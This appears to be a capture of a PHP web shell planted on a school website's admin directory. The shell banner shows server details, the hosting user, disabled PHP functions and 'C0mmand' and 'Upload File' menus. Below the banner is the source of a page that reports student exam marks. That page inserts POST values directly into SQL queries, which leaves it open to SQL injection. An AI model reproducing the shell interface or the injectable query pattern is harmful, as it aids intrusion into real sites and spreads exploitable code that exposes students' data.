|
Server IP : 2a02:4780:11:1359:0:1d43:a566:2 / Your IP : 216.73.216.199 Web Server : LiteSpeed System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u490972518 ( 490972518) PHP Version : 5.6.40 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : ON | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u490972518/domains/mhischool.in/public_html/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<div class="table-responsive">
<table id="example" class="display nowrap" cellspacing="0" width="100%" border="1px">
<thead>
<?php $session=$_POST['session'];
$class=$_POST['class'];?>
Session= <?php echo $session;?>, Class= <?php echo $class?>
</thead>
<tbody>
<?php
include("../link/databaseconnection.php");
$session=$_POST['session'];
$class=$_POST['class'];
$sel="select * from registration where session='$session' and subject='$class' ";
$res=mysqli_query($conn,$sel);
$s=1;
while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
{
$id=$row['id'];
$sel1="select * from six_eightresult where session='$session' and rol='$id' and exam='FIRST TERM EXAM' ";
$res1=mysqli_query($conn,$sel1);
$row1=mysqli_fetch_array($res1,MYSQLI_BOTH);
$sel11="select * from six_eightresult where session='$session' and rol='$id' and exam='SECOND TERM EXAM' ";
$res11=mysqli_query($conn,$sel11);
$row11=mysqli_fetch_array($res11,MYSQLI_BOTH);
$sel12="select * from six_eightresult where session='$session' and rol='$id' and exam='THIRD TERM EXAM' ";
$res12=mysqli_query($conn,$sel12);
$row12=mysqli_fetch_array($res12,MYSQLI_BOTH);
$sel13="select * from six_eightresult where session='$session' and rol='$id' and exam='FOURTH TERM EXAM' ";
$res13=mysqli_query($conn,$sel13);
$row13=mysqli_fetch_array($res13,MYSQLI_BOTH);
$m1=(int)$row1['mark1']+(int)$row1['mark2']+(int)$row1['mark3']+(int)$row1['mark4']+(int)$row1['mark5']+(int)$row1['mark6']+(int)$row1['mark7']+(int)$row1['mark8']+(int)$row1['mark9']
+(int)$row1['mark10']+(int)$row1['mark11']+(int)$row1['mark12'];
$m11=(int)$row11['mark1']+(int)$row11['mark2']+(int)$row11['mark3']+(int)$row11['mark4']+(int)$row11['mark5']+(int)$row11['mark6']+(int)$row11['mark7']+(int)$row11['mark8']+(int)$row11['mark9']
+(int)$row11['mark10']+(int)$row11['mark11']+(int)$row11['mark12'];
$m12=(int)$row12['mark1']+(int)$row12['mark2']+(int)$row12['mark3']+(int)$row12['mark4']+(int)$row12['mark5']+(int)$row12['mark6']+(int)$row12['mark7']+(int)$row12['mark8']+(int)$row12['mark9']
+(int)$row12['mark10']+(int)$row12['mark11']+(int)$row12['mark12'];
$m13=(int)$row13['mark1']+(int)$row13['mark2']+(int)$row13['mark3']+(int)$row13['mark4']+(int)$row13['mark5']+(int)$row13['mark6']+(int)$row13['mark7']+(int)$row13['mark8']+(int)$row13['mark9']
+(int)$row13['mark10']+(int)$row13['mark11']+(int)$row13['mark12'];
$t1=$m1+$m11+$m12+$m13;
if($class=='SECOND' or $class=='THIRD' or $class=='FOURTH' or $class=='FIFTH')
{
$p1=$t1/6;
$p=substr("$p1",0,5);
}
if($class=='SIXTH' or $class=='SEVENTH' or $class=='EIGHTH' )
{
$p1=$t1/7;
$p=substr("$p1",0,5);
}
if($class=='FIRST' or $class=='PLAY GROUP' or $class=='LKG' or $class=='UKG' or $class=='NURSERY' )
{
$p1=$t1/4;
$p=substr("$p1",0,5);
}
?>
<tr class="text-center">
<td rowspan='4'><?php echo $s;?></td>
<td>FIRST TERM</td>
<td><?php echo $row['id'];?></td>
<td><?php echo $row['name'];?></td>
<td><?php echo $row['fname'];?></td>
<td><?php echo $row1['mark1'];?></td>
<td><?php echo $row1['mark2'];?></td>
<td><?php echo $row1['mark3'];?></td>
<td><?php echo $row1['mark4'];?></td>
<td><?php echo $row1['mark5'];?></td>
<td><?php echo $row1['mark6'];?></td>
<td><?php echo $row1['mark7'];?></td>
<td><?php echo $row1['mark8'];?></td>
<td><?php echo $row1['mark9'];?></td>
<td><?php echo $row1['mark10'];?></td>
<td><?php echo $row1['mark11'];?></td>
<td><?php echo $row1['mark12'];?></td>
<td><?php echo $m1=(int)$row1['mark1']+(int)$row1['mark2']+(int)$row1['mark3']+(int)$row1['mark4']+(int)$row1['mark5']+(int)$row1['mark6']+(int)$row1['mark7']+(int)$row1['mark8']+(int)$row1['mark9']
+(int)$row1['mark10']+(int)$row1['mark11']+(int)$row1['mark12']
;?></td><td rowspan='4'><?php echo $t1;?></td><td rowspan='4'><?php echo $p;?> %</td>
</tr>
<tr class="text-center">
<td>SECOND TERM</td>
<td><?php echo $row['id'];?></td>
<td><?php echo $row['name'];?></td>
<td><?php echo $row['fname'];?></td>
<td><?php echo $row11['mark1'];?></td>
<td><?php echo $row11['mark2'];?></td>
<td><?php echo $row11['mark3'];?></td>
<td><?php echo $row11['mark4'];?></td>
<td><?php echo $row11['mark5'];?></td>
<td><?php echo $row11['mark6'];?></td>
<td><?php echo $row11['mark7'];?></td>
<td><?php echo $row11['mark8'];?></td>
<td><?php echo $row11['mark9'];?></td>
<td><?php echo $row11['mark10'];?></td>
<td><?php echo $row11['mark11'];?></td>
<td><?php echo $row11['mark12'];?></td>
<td><?php echo $m11=(int)$row11['mark1']+(int)$row11['mark2']+(int)$row11['mark3']+(int)$row11['mark4']+(int)$row11['mark5']+(int)$row11['mark6']+(int)$row11['mark7']+(int)$row11['mark8']+(int)$row11['mark9']
+(int)$row11['mark10']+(int)$row11['mark11']+(int)$row11['mark12']
;?></td>
</tr>
<tr class="text-center">
<td>THIRD TERM</td>
<td><?php echo $row['id'];?></td>
<td><?php echo $row['name'];?></td>
<td><?php echo $row['fname'];?></td>
<td><?php echo $row12['mark1'];?></td>
<td><?php echo $row12['mark2'];?></td>
<td><?php echo $row12['mark3'];?></td>
<td><?php echo $row12['mark4'];?></td>
<td><?php echo $row12['mark5'];?></td>
<td><?php echo $row12['mark6'];?></td>
<td><?php echo $row12['mark7'];?></td>
<td><?php echo $row12['mark8'];?></td>
<td><?php echo $row12['mark9'];?></td>
<td><?php echo $row12['mark10'];?></td>
<td><?php echo $row12['mark11'];?></td>
<td><?php echo $row12['mark12'];?></td>
<td><?php echo $m12=(int)$row12['mark1']+(int)$row12['mark2']+(int)$row12['mark3']+(int)$row12['mark4']+(int)$row12['mark5']+(int)$row12['mark6']+(int)$row12['mark7']+(int)$row12['mark8']+(int)$row12['mark9']
+(int)$row12['mark10']+(int)$row12['mark11']+(int)$row12['mark12']
;?></td>
</tr>
<tr class="text-center">
<td>FOURTH TERM</td>
<td><?php echo $row['id'];?></td>
<td><?php echo $row['name'];?></td>
<td><?php echo $row['fname'];?></td>
<td><?php echo $row13['mark1'];?></td>
<td><?php echo $row13['mark2'];?></td>
<td><?php echo $row13['mark3'];?></td>
<td><?php echo $row13['mark4'];?></td>
<td><?php echo $row13['mark5'];?></td>
<td><?php echo $row13['mark6'];?></td>
<td><?php echo $row13['mark7'];?></td>
<td><?php echo $row13['mark8'];?></td>
<td><?php echo $row13['mark9'];?></td>
<td><?php echo $row13['mark10'];?></td>
<td><?php echo $row13['mark11'];?></td>
<td><?php echo $row13['mark12'];?></td>
<td><?php echo $m13=(int)$row13['mark1']+(int)$row13['mark2']+(int)$row13['mark3']+(int)$row13['mark4']+(int)$row13['mark5']+(int)$row13['mark6']+(int)$row13['mark7']+(int)$row13['mark8']+(int)$row13['mark9']
+(int)$row13['mark10']+(int)$row13['mark11']+(int)$row13['mark12']
;?></td>
</tr>
<?php
$s++;
}
?>
</tbody>
</table>
</div>